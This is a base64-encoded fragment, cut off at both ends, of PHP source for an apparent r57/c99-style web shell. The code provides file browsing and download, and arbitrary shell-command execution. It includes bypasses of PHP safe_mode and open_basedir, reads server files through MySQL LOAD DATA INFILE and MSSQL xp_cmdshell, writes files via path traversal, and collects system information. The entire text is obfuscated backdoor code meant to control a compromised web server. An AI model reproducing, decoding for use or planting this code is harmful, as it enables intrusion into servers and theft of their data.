BlY2hvICc8L3ByZT4nLno3ZigpLno3eSgpLnoxMHEoKTsgYnJlYWs7IGNhc2UgJ2luaSc6IGVjaG8gejd3KCcnLCcyJykuejdvKCkuejZxKCkuJzxwcmU+JzsgQHZhcl9kdW1wKEBwYXJzZV9pbmlfZmlsZSgkZC4kZix0cnVlKSk7IGVjaG8gJzwvcHJlPicuejdmKCkuejd5KCkuejEwcSgpOyBicmVhazsgY2FzZSAnc2RiJzogZWNobyB6N3coJycsJzInKS56N28oKS56NnEoKS4nPHByZT4nOyBAdmFyX2R1bXAoQHVuc2VyaWFsaXplKEBiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICc8L3ByZT4nLno3ZigpLno3eSgpLnoxMHEoKTsgYnJlYWs7IGNhc2UgJ2ltZyc6IGlmKCFAaXNzZXQoJGlzKSkgJGlzPTUwOyAkaW5mPUBnZXRpbWFnZXNpemUoJGQuJGYpOyBpZihAaXNzZXQoJGluZlswXSkgJiYgQGlzc2V0KCRpbmZbMV0pICYmIEBpc3NldCgkaW5mWydtaW1lJ10pKXsgJHc9JGluZlswXS8xMDAqJGlzOyAkaD0kaW5mWzFdLzEwMCokaXM7ICRtaW1lPSRpbmZbIm1pbWUiXTsgfSBlbHNlIHsgJHc9JGg9JHQ9Jyc7IGlmKEBwcmVnX21hdGNoKCcvKGpwZ3xqcGVnfGdpZnxwbmcpL2knLCAkciwgJG0pKSAkdCA9ICgkbVsxXSA9PT0gJ2pwZWcnKSA/ICdqcGcnIDogJG1bMV07ICRtaW1lPSdpbWFnZS8nLkBzdHJ0b2xvd2VyKCR0KTsgfSBpZighQGlzc2V0KCR3aGl0ZSl8fCEkd2hpdGUpeyBlY2hvIHo1eigiY2VudGVyIikuejl6KCk7IGlmKCR3IT0nJyl7IGZvcmVhY2goYXJyYXkoJzIwJywnNTAnLCcxMDAnLCcxNTAnLCcyMDAnKSBhcyAkdikgZWNobyB6NXgoYXJyYXkoJ2FjdCc9PidmJywnZCcsJ2YnLCdmdCc9PidpbWcnLCdpcyc9PiR2KSx6OGIoJHYuJyUnLCgkaXM9PSR2PycxNyc6JzE2JykpKTsgfSBlY2hvIHo5eigyKS4nPGltZyBhbHQ9IiIgc3JjPSI/YWN0PWYmYW1wO2Y9Jy5AdXJsZW5jb2RlKCRmKS4nJmFtcDtmdD1pbWcmYW1wO3doaXRlPTEmYW1wO2Q9Jy5AdXJsZW5jb2RlKCRkKS4nIicuKCR3IT0nJz8nIHdpZHRoPSInLiR3LiciJzonJykuKCRoIT0nJz8nIGhlaWdodD0iJy4kaC4nIic6JycpLicgYm9yZGVyPSIwIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgI0RERERERDsiPicuejVoKCkuejl6KDIpOyB9ZWxzZXsgQG9iX2NsZWFuKCk7IEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZSk7IGVjaG8gJHI7IGV4aXQoKTsgfSBicmVhazsgY2FzZSAnaGV4JzogaWYoIUBpc3NldCgkaGV4ZHVtcF90eXBlKSkgJGhleGR1bXBfdHlwZT0nJzsgaWYoJGhleGR1bXBfdHlwZT09ImZ1bGwiKXsgJHN0cj0kcjsgfWVsc2V7ICRzdHI9QHN1YnN0cigkciwwLDE2KjI0KTsgfSAkbj0wOyAkYTA9JGExPSRhMj0nJzsgJG9mcz0wOyAkbGVuPUBzdHJsZW4oJHN0cik7IGZvcigkaT0wOyRpPCRsZW47JGkrKyl7ICRhMS49QHNwcmludGYoJyUwMlgnLEBvcmQoJHN0clskaV0pKS56OXgoKTsgaWYoQG9yZCgkc3RyWyRpXSk9PTApeyAkYTIuPXo1cCgiMCIpOyB9IGVsc2VpZihAb3JkKCRzdHJbJGldKT49MHgyMCAmJiBAb3JkKCRzdHJbJGldKTw9MHg3RSl7ICRhMi49IEBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsgfSBlbHNlIHsgJGEyIC49ICIuIjsgfSAkbisrOyBpZigkbj09MjR8fCgkaSsxPT0kbGVuJiYhQGlzX2ludCgkbGVuLzI0KSkpeyAkbj0wOyAkYTAuPUBzcHJpbnRmKCclMDhYJywkb2ZzKS56OXooKTsgJGExLj16OXooKTsgJGEyLj16OXooKTsgJG9mcys9MjQ7IH0gfSBlY2hvIHoxMHcoejlkKHo2bCh6MTB3KHo3dSh6OWMoJGEwLCcxNicpLno5YygkYTEsJzE3JykuejljKCRhMiwnMTgnKSksJzgnKS56MTB3KHo5ZCh6NnooejV4KGFycmF5KCdhY3QnPT4nZicsJ2QnLCdmJywnZnQnLCdoZXhkdW1wX3R5cGUnPT4oJGhleGR1bXBfdHlwZT09J2Z1bGwnPydwcmV2aWV3JzonZnVsbCcpKSx6OGIoKCRoZXhkdW1wX3R5cGU9PSdmdWxsJz96OXkoIjEyMiIpOno5eSgiMTIxIikpLCc3JykpKSksJzgnKSkpLCcyJyk7IGJyZWFrOyBjYXNlICdkb3dubG9hZCc6IEBvYl9jbGVhbigpOyBAaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyBAaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOyBlY2hvICRyOyBleGl0KCk7IGJyZWFrOyBkZWZhdWx0OiBicmVhazsgfSB9IGVsc2UgeyBpZighQGlzc2V0KCRsb2FkYikpICRsb2FkYj0wOyAkcmJ1dD16NXgoJGJhY2tfZm9ybV9hY3Rpb25zLHo4Yih6OXkoIjQ3MCIpLCI3IikpOyBpZihAZW1wdHkoJGYpKXsgZWNobyB6M3Eoejl5KCI0NjkiKS4kZm1zZy56OXgoNSkuJHJidXQpOyB9IGVsc2UgeyBzd2l0Y2goJGZ0KXsgY2FzZSAnbmV3JzogaWYoIXo0cigkZC4kZikmJno0aigkZCkmJiF6MG4oJGQpKXsgJGxvYWRiPTE7IH0gZWxzZWlmKCF6NHIoJGQuJGYpKXsgJGxvYWRiPTE7IH0gZWxzZWlmKHo0cigkZC4kZikmJno0aigkZC4kZikpeyBlY2hvIHozcSh6OXkoIjQ2OCIsJGQuJGYpLno5eCg1KS4kcmJ1dCk7IH0gZWxzZWlmKHo0cigkZikmJno0aigkZikpeyBlY2hvIHozcSh6OXkoIjQ2OCIsJGYpLno5eCg1KS4kcmJ1dCk7IH0gYnJlYWs7IGRlZmF1bHQ6IGlmKHo0cigkZC4kZikmJno0aigkZC4kZikpeyBlY2hvIHozcSh6OXkoIjQ2OCIsJGQuJGYpLno5eCg1KS4kcmJ1dCk7IH0gZWxzZWlmKHo0cigkZikmJno0aigkZikpeyBlY2hvIHozcSh6OXkoIjQ2OCIsJGYpLno5eCg1KS4kcmJ1dCk7IH0gZWxzZWlmKCF6NHIoJGQuJGYpJiZ6NGooJGQpICYmIHowbigkZCkgJiYgQHN0cnBvcygkZiwiLyIpPT09ZmFsc2UpeyBlY2hvIHozcSh6MTB3KHo3dSh6OWMoejduKHo5eSgiNDY2IiwkZC4kZikpLno1eChhcnJheSgiYWN0Ij0+ImYiLCJkIiwiZiIsImZ0Ij0+Im5ldyIpLHo4Yih6OXkoIjE5NSIpLCI3IikpLiRyYnV0KSksIjIiKSk7IH0gZWxzZSB7ICRsb2FkYj0xOyB9IGJyZWFrOyB9IH0gaWYoJGxvYWRiKXsgejBjKCRkLiRmKTsgJHJmX2Fycj0kc3FscmZfYXJyPSR3Zl9hcnI9YXJyYXkoKTsgJHJmX2FyclsiaW5jbHVkZSJdPSJpbmNsdWRlIChzYWZlX21vZGUpIjsgaWYoJGJjdXJsJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApICRyZl9hcnJbImN1cmwiXT0iY3VybCAob3Blbl9iYXNlZGlyIC8gUEhQIDw9IDQuNC4yLCA1LjEuNCkiOyBpZighJHdpbiYmejdlKCdtYl9zZW5kX21haWwnKSYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKSAkcmZfYXJyWyJtYl9zZW5kX21haWwiXT0ibWJfc2VuZF9tYWlsIChzYWZlX21vZGUgLyBQSFAgPD0gNC4wLTQuMi4yLCA1LngpIjsgaWYoejdlKCdpbWFwX29wZW4nKSYmejdlKCdpbWFwX2JvZHknKSYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKSAkcmZfYXJyWyJpbWFwX2JvZHkiXT0iaW1hcF9ib2R5IChzYWZlX21vZGUgb24gUEhQIDw9IDUuMS4yKSI7IGlmKHo3ZSgnaW5pX3Jlc3RvcmUnKSYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKSAkcmZfYXJyWyJpbmlfcmVzdG9yZSJdPSJpbmlfcmVzdG9yZSAoc2FmZV9tb2RlIC8gUEhQIDw9IDQuNC40LCA1LjEuNikgYnkgTlNUIjsgaWYoejdlKCdjb3B5JykmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjAiKTw9MCkgJHJmX2FyclsiemxpYiJdPSJjb3B5W2NvbXByZXNzLnpsaWI6Ly9dIChzYWZlX21vZGUgLyBQSFAgPD0gNC40LjIsIDUuMS4yKSI7IGlmKCRibXlzcWwpICRzcWxyZl9hcnJbIm15c3FsIl09Im15c3FsIChzYWZlX21vZGUpIjsgaWYoJGJtc3NxbCkgJHNxbHJmX2FyclsibXNzcWwiXT0ibXNzcWwgKHNhZmVfbW9kZSkiOyBpZih6N2UoJ2Vycm9yX2xvZycpJiZAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4yIik8PTApICR3Zl9hcnJbImVycm9yX2xvZyJdPSJlcnJvcl9sb2dbcGhwOi8vXSAob3Blbl9iYXNlZGlyIC8gUEhQIDw9IDUuMS40LCA0LjQuMikiOyBpZih6N2UoJ3JlYWRmaWxlJykmJkB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4yLjIiKTw9MCkgJHdmX2FyclsicmVhZGZpbGUiXT0icmVhZGZpbGVbcGhwOi8vXSAob3Blbl9iYXNlZGlyIC8gUEhQIDw9IDUuMi4xLCA0LjQuNCkiOyBpZihAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi40Iik8PTApICR3Zl9hcnJbImZvcGVuIl09ImZvcGVuW3NycGF0aDovL10gKG9wZW5fYmFzZWRpciAvIFBIUCB2NS4yLjApIjsgaWYoQGNvdW50KCRyZl9hcnIpPjApeyBlY2hvIHozcSh6OXkoIjEyOCIpKTsgZWNobyB6NnMoKTsgZWNobyB6NXgoYXJyYXkoImFjdCI9PiJmIiwiZCIsImYiPT4oQGlzc2V0KCRyZWFkZmlsZSk/JHJlYWRmaWxlOiRkLiRmKSwiZnQiPT4iZnVuY3Rpb25zIiwic3VibWl0MSI9PiIxIiksejEwdyh6N3UoejV0KHo5eSgiMTI5IikpLno5Yyh6NnUoInJlYWRmaWxlIiwoQGlzc2V0KCRyZWFkZmlsZSk/JHJlYWRmaWxlOiRkLiRmKSwiMCIsIiIsIjkiKS56M20oInJlYWRmaWxlX2Z1bmMiLCRyZl9hcnIsIjUiLDEpLno4Yih6OXkoIjEzMCIpLCI3IikpKSwiMiIpKTsgaWYoQGlzc2V0KCRzdWJtaXQxKSYmJHN1Ym1pdDEmJkBpc3NldCgkcmVhZGZpbGUpJiYhQGVtcHR5KCRyZWFkZmlsZSkpeyBlY2hvIHo5bSgiMiIpLno3bygpLno1dCh6OXgoKSkuejdqKCk7IHN3aXRjaCgkcmVhZGZpbGVfZnVuYyl7IGNhc2UgJ2luY2x1ZGUnOiBlY2hvIHo1dygnJywnMScpOyBAaW5jbHVkZSAoJHJlYWRmaWxlKTsgZWNobyB6NXEoKTsgYnJlYWs7IGNhc2UgJ2N1cmwnOiBlY2hvIHo1dygnJywnMScpOyAkY2k9QGN1cmxfaW5pdCgiZmlsZTovLyIuJHJlYWRmaWxlKTsgJGNmPUBjdXJsX2V4ZWMoJGNpKTsgZWNobyBAaHRtbHNwZWNpYWxjaGFycygkY2YpOyBlY2hvIHo1cSgpOyBicmVhazsgY2FzZSAnbWJfc2VuZF9tYWlsJzogZWNobyB6NXcoJycsJzEnKTsgJHRlbXA9dGVtcG5hbSgkZCwiZm5hbWUiKTsgaWYoQGZpbGVfZXhpc3RzKCR0ZW1wKSkgQHVubGluaygkdGVtcCk7ICRleHRyYT0iLUMgIi4kcmVhZGZpbGUuIiAtWCAkdGVtcCI7IEBtYl9zZW5kX21haWwoTlVMTCxOVUxMLE5VTEwsTlVMTCwkZXh0cmEpOyAkc3RyPXo5bygkdGVtcCk7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7IGVjaG8gejVxKCk7IEB1bmxpbmsoJHRlbXApOyBicmVhazsgY2FzZSAnaW1hcF9ib2R5JzogZWNobyB6NXcoJycsJzEnKTsgJHN0cmVhbT1AaW1hcF9vcGVuKCRyZWFkZmlsZSwiIiwiIik7ICRzdHI9QGltYXBfYm9keSgkc3RyZWFtLDEpOyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOyBAaW1hcF9jbG9zZSgkc3RyZWFtKTsgZWNobyB6NXEoKTsgYnJlYWs7IGNhc2UgJ2luaV9yZXN0b3JlJzogQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsgQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgJHN0cj16OW8oJHJlYWRmaWxlKTsgZWNobyB6NXcoJycsJzEnKS5AaHRtbHNwZWNpYWxjaGFycygkc3RyKS56NXEoKTsgYnJlYWs7IGNhc2UgJ3psaWInOiAkc3RyPXo5dSgkcmVhZGZpbGUpOyBlY2hvIHo1dygnJywnMScpLkBodG1sc3BlY2lhbGNoYXJzKCRzdHIpLno1cSgpOyBicmVhazsgfSBlY2hvIHo3ZigpLno3eSgpLnoxMHEoKTsgfSBlY2hvIHo2cygpOyB9IGlmKEBjb3VudCgkc3FscmZfYXJyKT4wKXsgZWNobyB6M3Eoejl5KCIxMzEiKSk7IGVjaG8gejZzKCk7IGVjaG8gejV4KGFycmF5KCJhY3QiPT4iZiIsImQiLCJmIj0+KEBpc3NldCgkcmVhZGZpbGUpPyRyZWFkZmlsZTokZC4kZiksImZ0Ij0+ImZ1bmN0aW9ucyIsInN1Ym1pdDIiPT4iMSIpLHoxMHcoejd1KHo1dCh6OXkoIjEyOSIpKS56OWMoejZ1KCJyZWFkZmlsZSIsKEBpc3NldCgkcmVhZGZpbGUpPyRyZWFkZmlsZTokZC4kZiksIjAiLCIiLCI5IikuejNtKCJzcWxyZWFkZmlsZV9mdW5jIiwkc3FscmZfYXJyLCI1IiwxKS56OGIoejl5KCIxMzAiKSwiNyIpKSkuIHo3dSh6NXQoejl5KCIxMzIiKSkuejljKHo1eSgic3FsdXNlciIsInJvb3QiLCI0IiwiIiwiOSIpLno5eCgyKS56N24oejl5KCIxMzMiKSkuejV5KCJzcWxwYXNzIiwiIiwiNCIpLno5eCgyKS56N24oejl5KCIxMzQiKSkuejV5KCJzcWxwb3J0IiwiMzMwNiIsIjEiKS56OXgoMikuejduKHo5eSgiMTM1IikpLno1eSgic3FsZGIiLCJteXNxbCIsIjQiKSkpLCIyIikpOyBpZihAaXNzZXQoJHN1Ym1pdDIpJiYkc3VibWl0MiYmQGlzc2V0KCRyZWFkZmlsZSkmJiFAZW1wdHkoJHJlYWRmaWxlKSYmQGlzc2V0KCRzcWx1c2VyKSYmQGlzc2V0KCRzcWxwYXNzKSYmQGlzc2V0KCRzcWxwb3J0KSYmQGlzc2V0KCRzcWxkYikpeyBlY2hvIHo5bSgiMiIpLno3bygpLno1dCh6OXgoKSkuejdqKCk7IHN3aXRjaCgkc3FscmVhZGZpbGVfZnVuYyl7IGNhc2UgJ215c3FsJzogZWNobyB6NXcoJycsJzEnKTsgaWYoQGVtcHR5KCRzcWxwb3J0KSkgJHNxbHBvcnQ9IjMzMDYiOyAkZGI9QG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdDonLiRzcWxwb3J0LCRzcWx1c2VyLCRzcWxwYXNzKTsgaWYoJGRiKXsgaWYoQG15c3FsX3NlbGVjdF9kYigkc3FsZGIsJGRiKSl7IEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdGVtcF9teXNxbF9yZWFkZmlsZV90YWJsZSIpOyBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdGVtcF9teXNxbF9yZWFkZmlsZV90YWJsZWAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOyBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLiRyZWFkZmlsZS4iXCIgSU5UTyBUQUJMRSB0ZW1wX215c3FsX3JlYWRmaWxlX3RhYmxlIik7ICRyPUBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0ZW1wX215c3FsX3JlYWRmaWxlX3RhYmxlIik7IHdoaWxlKCgkcl9zcWw9QG15c3FsX2ZldGNoX2FycmF5KCRyKSkhPT1mYWxzZSl7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKS4iXHJcbiI7IH0gQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX215c3FsX3JlYWRmaWxlX3RhYmxlIik7IH1lbHNlIGVjaG8gejl5KCIxMzYiKTsgQG15c3FsX2Nsb3NlKCRkYik7IH1lbHNlIGVjaG8gejl5KCIxMzciLCJNeVNRTCIpOyBlY2hvIHo1cSgpOyBicmVhazsgY2FzZSAnbXNzcWwnOiBlY2hvIHo1dygnJywnMScpOyBpZihAZW1wdHkoJHNxbHBvcnQpKSAkc3FscG9ydD0iMTQzMyI7ICRkYj1AbXNzcWxfY29ubmVjdCgnbG9jYWxob3N0LCcuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpOyBpZigkZGIpeyBpZihAbXNzcWxfc2VsZWN0X2RiKCRzcWxkYiwkZGIpKXsgQG1zc3FsX3F1ZXJ5KCJkcm9wIHRhYmxlIG1zc3FsX3JlYWRmaWxlX3RlbXBfdGFibGUiLCRkYik7IEBtc3NxbF9xdWVyeSgiY3JlYXRlIHRhYmxlIG1zc3FsX3JlYWRmaWxlX3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byBtc3NxbF9yZWFkZmlsZV90ZW1wX3RhYmxlIEVYRUMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnIi4kcmVhZGZpbGUuIiciLCRkYik7ICRyZXM9QG1zc3FsX3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIG1zc3FsX3JlYWRmaWxlX3RlbXBfdGFibGUiLCRkYik7IHdoaWxlKCgkcm93PUBtc3NxbF9mZXRjaF9yb3coJHJlcykpIT09ZmFsc2UpeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcclxuIjsgfSBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgbXNzcWxfcmVhZGZpbGVfdGVtcF90YWJsZSIsJGRiKTsgfWVsc2UgZWNobyB6OXkoIjEzNiIpOyBAbXNzcWxfY2xvc2UoJGRiKTsgfWVsc2UgZWNobyB6OXkoIjEzNyIsIk1zU1FMIik7IGVjaG8gejVxKCk7IGJyZWFrOyB9IGVjaG8gejdmKCkuejd5KCkuejEwcSgpOyB9IGVjaG8gejZzKCk7IH0gaWYoQGNvdW50KCR3Zl9hcnIpPjApeyBlY2hvIHozcSh6OXkoIjEzOCIpKTsgZWNobyB6NnMoKTsgZWNobyB6NXgoYXJyYXkoImFjdCI9PiJmIiwiZCIsImYiPT4oQGlzc2V0KCR3cml0ZWZpbGUpPyR3cml0ZWZpbGU6JGQuJGYpLCJmdCI9PiJmdW5jdGlvbnMiLCJzdWJtaXQzIj0+IjEiKSwgejEwdyggejd1KHo1dCh6OXkoIjEzOSIpKS56OWMoejV5KCJ3cml0ZWZpbGUiLCRkLiRmLCIwIiwiIiwiOSIpLnozbSgid3JpdGVmaWxlX2Z1bmMiLCR3Zl9hcnIsIjUiLDEpLno4Yih6OXkoIjE0MSIpLCI3IikpKS4gejd1KHo1dCh6OXkoIjE0MCIpKS56OWMoejV3KCJ3cml0ZWNvbnRlbnQiLCIxIikuKEBpc3NldCgkd3JpdGVjb250ZW50KT9AaHRtbHNwZWNpYWxjaGFycygkd3JpdGVjb250ZW50KTonPD8gcGhwaW5mbygpOyA/PicpLno1cSgpKSksIjIiKSk7IGlmKEBpc3NldCgkc3VibWl0MykmJiRzdWJtaXQzJiZAaXNzZXQoJHdyaXRlZmlsZSkmJiFAZW1wdHkoJHdyaXRlZmlsZSkpeyBlY2hvIHo5bSgiMiIpLno2ZigpLno1dCh6OXgoKSkuejdqKCk7IHN3aXRjaCgkd3JpdGVmaWxlX2Z1bmMpeyBjYXNlICdlcnJvcl9sb2cnOiBAZXJyb3JfbG9nKCR3cml0ZWNvbnRlbnQsMywicGhwOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi4kd3JpdGVmaWxlKTsgaWYoejRyKCR3cml0ZWZpbGUpKSBlY2hvIHo5eSgiMjQzIik7IGJyZWFrOyBjYXNlICdyZWFkZmlsZSc6IEByZWFkZmlsZSgkd3JpdGVjb250ZW50LDMsInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJHdyaXRlZmlsZSk7IGlmKHo0cigkd3JpdGVmaWxlKSkgZWNobyB6OXkoIjI0MyIpOyBicmVhazsgYnJlYWs7IGNhc2UgJ2ZvcGVuJzogaWYoJGZwPUBmb3Blbignc3JwYXRoOi8vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vJy4kd3JpdGVmaWxlLCJhIikpeyBAZnB1dHMoJGZwLCR3cml0ZWNvbnRlbnQpOyBAZmNsb3NlKCRmcCk7IGVjaG8gejl5KCIyNDMiKTsgfSBicmVhazsgZGVmYXVsdDogYnJlYWs7IH0gZWNobyB6N2YoKS56N3koKS56MTBxKCk7IH0gZWNobyB6NnMoKTsgfSB9IH0gfSBpZigkYWN0PT0nc2VhcmNoJyl7ICRmdGFyZ2V0PTE7ICRmdWxscGF0aD0xOyBpZighQGlzc2V0KCRzX2luKXx8QGVtcHR5KCRzX2luKSkgJHNfaW49JGQ7IGlmKCFAaXNzZXQoJHNuKXx8QGVtcHR5KCRzbikpeyAkc249IiguKikiOyAkc25fcmVnPTE7IH0gaWYoIUBpc3NldCgkc25fcmVnKSkgJHNuX3JlZz0nJzsgaWYoIUBpc3NldCgkc3QpKSAkc3Q9Jyc7IGlmKCFAaXNzZXQoJHN0X3JlZykpICRzdF9yZWc9Jyc7IGlmKCFAaXNzZXQoJHN0X3d3bykpICRzdF93d289Jyc7IGlmKCFAaXNzZXQoJHN0X2NzKSkgJHN0X2NzPScnOyBpZighQGlzc2V0KCRzdF9ub3QpKSAkc3Rfbm90PScnOyBpZighQGlzc2V0KCRzX2ZkKSkgJHNfZmQ9Jyc7IGlmKCFAaXNzZXQoJHNfcmVjKSkgJHNfcmVjPScxJzsgaWYoIUBpc3NldCgkZmluZF90ZXh0KXx8QGVtcHR5KCRmaW5kX3RleHQpKSAkZmluZF90ZXh0PSJ0ZXh0IjsgaWYoIUBpc3NldCgkZmluZF9pbl9kaXIpfHxAZW1wdHkoJGZpbmRfaW5fZGlyKSkgJGZpbmRfaW5fZGlyPSRkOyBpZighQGlzc2V0KCRmaW5kX2luX2ZpbGVzKXx8QGVtcHR5KCRmaW5kX2luX2ZpbGVzKSkgJGZpbmRfaW5fZmlsZXM9IioucGhwOyoudHh0IjsgejBoKCk7IGlmKEBpc3NldCgkc3VibWl0KSYmJHN1Ym1pdCl7ICRmb3VuZD1hcnJheSgpOyAkZm91bmRfZD0wOyAkZm91bmRfZj0wOyAkc2VhcmNoX2lfZj0wOyAkc2VhcmNoX2lfZD0wOyAkYXI9YXJyYXkoInNuIj0+JHNuLCAic25fcmVnIj0+JHNuX3JlZywgInN0Ij0+JHN0LCAic3RfcmVnIj0+JHN0X3JlZywgInN0X3d3byI9PiRzdF93d28sICJzdF9jcyI9PiRzdF9jcywgInN0X25vdCI9PiRzdF9ub3QsICJzX2ZkIj0+JHNfZmQpOyAkaW49QGFycmF5X3VuaXF1ZShAZXhwbG9kZSgiOyIsJHNfaW4pKTsgZm9yZWFjaCgkaW4gYXMgJHYpeyAkc2Rpcj0kdjsgejVkKCR2KTsgfSBpZihAY291bnQoJGZvdW5kKT09MCl7IGVjaG8gejNxKHo5eSgiMTYwIikpOyB9ZWxzZXsgJG5vbHNtZW51PTE7ICRub2hlYWQ9MTsgJGxzX2E9JGZvdW5kOyAkYWN0PSJscyI7IH0gfSB9IGlmKCRhY3Q9PSdjbWQnKXsgJHN0X2E9YXJyYXkoJyc9PictJywnIDI+JjEnPT4nMj4mMScpOyBlY2hvIHozcSggejEwdyggejd1KCB6NmwoIHo3bih6OXkoIjE4MCIpKS56OWsoJycsJ2NvbW1hbmQnKS56MngoYXJyYXkoJ2FjdCc9PidjbWQnLCdkJywnY21kc3VibWl0Jz0+JzEnKSkuejZ1KCdjbWQnLCcnLCcwJykuKCRuaXg/ejNtKCdzdGRlcnInLCRzdF9hLCcxJywnMScpOicnKS56OGIoJyZyYXF1bzsnLCc3JykuejlsKCkgLCcnLCcyJykuIHo2bCggejduKHo5eSgiMTgxIikpLno1eChhcnJheSgnYWN0Jz0+J2NtZCcsJ2QnLCdjbWRzdWJtaXQnPT4nMScpLHoyaygnc2NtZCcsKCR3aW4/JHdpbmFsaWFzZXM6JG5peGFsaWFzZXMpLCcwJywnMScpLigkbml4P3ozbSgnc3RkZXJyJywkc3RfYSwnMScsJzEnKTonJykuejhiKCcmcmFxdW87JywnNycpKSAsJycpICkgLCcyJykpOyBlY2hvIHo5bSgnMicpLno2ZigpLno2cSgpLno1dygnJywnMCcsMSk7IGlmKEBpc3NldCgkY21kc3VibWl0KSYmJGNtZHN1Ym1pdCl7IGVjaG8gejllKChAaXNzZXQoJGNtZCk/KEBpc3NldCgkc3RkZXJyKT8kY21kLiRzdGRlcnI6JGNtZCk6KEBpc3NldCgkc3RkZXJyKT8kc2NtZC4kc3RkZXJyOiRzY21kKSkpOyB9IGVjaG8gejVxKCkuejdmKCkuejd5KCkuejEwcSgpOyB9IGlmKCRhY3Q9PSdwaHBpbmZvJyl7ICRwaWFycj16MXcoMSk7ICRoPTA7IGZvcmVhY2goJHBpYXJyIGFzICRrPT4kdil7IGVjaG8gejNxKEBzdHJ0b3VwcGVyKCRrKSk7IGVjaG8gejltKCcyJyk7ICRpPTA7IGZvcmVhY2goJHYgYXMgJGE9PiRiKXsgaWYoQGlzX3N0cmluZygkYikpeyBlY2hvIHo5ZCh6OWMoJGEsJzE0JywnMjUnKS56OWMoJGIsJzE0JyksKCRpJTI/JzAnOicxJykpOyAkaSsrOyB9IH0gJGgrKzsgZWNobyB6MTBxKCk7IH0gfSBpZigkYWN0PT0nc3lzaW5mbycpeyAkZ19hcnI9YXJyYXkoKTsgJGRhdGU9QGRhdGUoIkQgTSBqIEc6aTpzIFQgWSIpOyAkdXNlcnM9YXJyYXkoKTsgaWYoJGJwYXNzd2QpICR1c2Vycz16OGwoMSk7ICRkaXN0cm89ejFiKCk7ICR1cHRpbWU9KCRuaXgmJiRzaF9leGVjKT96OWUoInVwdGltZSIpOicnOyAkc3lzdGVtPSRob3N0PSRrZXJuZWw9IiI7ICRzeXM9KCgkbml4JiYkc2hfZXhlYyk/ejllKCJ1bmFtZSAtYSIpOih6N2UoJ3BocF91bmFtZScpP0BwaHBfdW5hbWUoImEiKTonICAgJykpOyBpZigkbml4KSBAbGlzdCgkc3lzdGVtLCAkaG9zdCwgJGtlcm5lbCwpID0gQGV4cGxvZGUoIiAiLCAkc3lzKTsgaWYoIUBlbXB0eSgkc3lzKSkgJGdfYXJyW109YXJyYXkoIlN5c3RlbSIsJHN5cywkc3lzKTsgaWYoIUBlbXB0eSgkc3lzdGVtKSYmIUBlbXB0eSgka2VybmVsKSkgJGdfYXJyW109YXJyYXkoKCgkbGludXgpPyJLZXJuZWwiOiJWZXJzaW9uIiksJHN5c3RlbS4iICIuJGtlcm5lbCwkc3lzdGVtLiIgIi4ka2VybmVsKTsgaWYoIUBlbXB0eSgkZGlzdHJvKSkgJGdfYXJyW109YXJyYXkoIkRpc3RybyBuYW1lIiwkZGlzdHJvLG5sMmJyKCRkaXN0cm8pKTsgJGlkdT0iIjsgaWYoJG5peCYmJHNoX2V4ZWMpeyAkaWR1PXo5ZSgiaWQiKTsgJGVpZD1AZXhwbG9kZSgiICIsJGlkdSk7IGlmKEBjb3VudCgkZWlkKT49MikgJGlkdT0kZWlkWzBdLiIgIi4kZWlkWzFdOyB9IGlmKCFAZW1wdHkoJGlkdSkpICRnX2FycltdPWFycmF5KCJVc2VyIGlkIiwkaWR1LCRpZHUpOyBpZighQGVtcHR5KCR1cHRpbWUpKSAkZ19hcnJbXT1hcnJheSgiVXB0aW1lIiwkdXB0aW1lLCR1cHRpbWUpOyBpZighQGVtcHR5KCRkYXRlKSkgJGdfYXJyW109YXJyYXkoIkxvY2FsIHRpbWUiLCRkYXRlLCRkYXRlKTsgJGdfYXJyW109YXJyYXkoIkN